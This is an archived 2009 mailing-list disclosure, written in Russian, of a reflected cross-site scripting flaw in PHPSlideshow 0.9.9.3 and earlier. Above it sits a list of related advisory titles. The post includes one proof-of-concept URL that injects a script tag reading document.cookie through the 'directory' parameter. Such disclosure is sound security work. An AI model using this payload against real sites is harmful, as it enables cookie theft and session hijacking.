Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

DDIVRT-2009-21 vBook Login Application Cross-site Scripting Vulnerability

DDIVRT-2009-22 SMART Board Whiteboard Directory Traversal Vulnerability

[ GLSA 200903-02 ] ZNC: Privilege escalation

phpCommunity 2 2.1.8 Multiple Vulnerabilities (SQL Injection /  Directory Traversal / XSS)

From:	MustLive <mustlive_(at)_websecurity.com.ua>
Date:	09.03.2009
Subject:	New Cross-Site Scripting vulnerability in PHPSlideshow

Здравствуйте 3APA3A!

Сообщаю вам о найденной мною новой Cross-Site Scripting уязвимости в PHPSlideshow.

XSS:

http://site/phpslideshow.php?directory=%3Cscript%3Ealert(document.
cookie)%3C/script%3E:

Уязвимы PHPSlideshow 0.9.9.3 и предыдущие версии.

Дополнительная информация о данной уязвимости у меня на сайте:
http://websecurity.com.ua/2775/

Best wishes & regards,
MustLive
Администратор сайта
http://websecurity.com.ua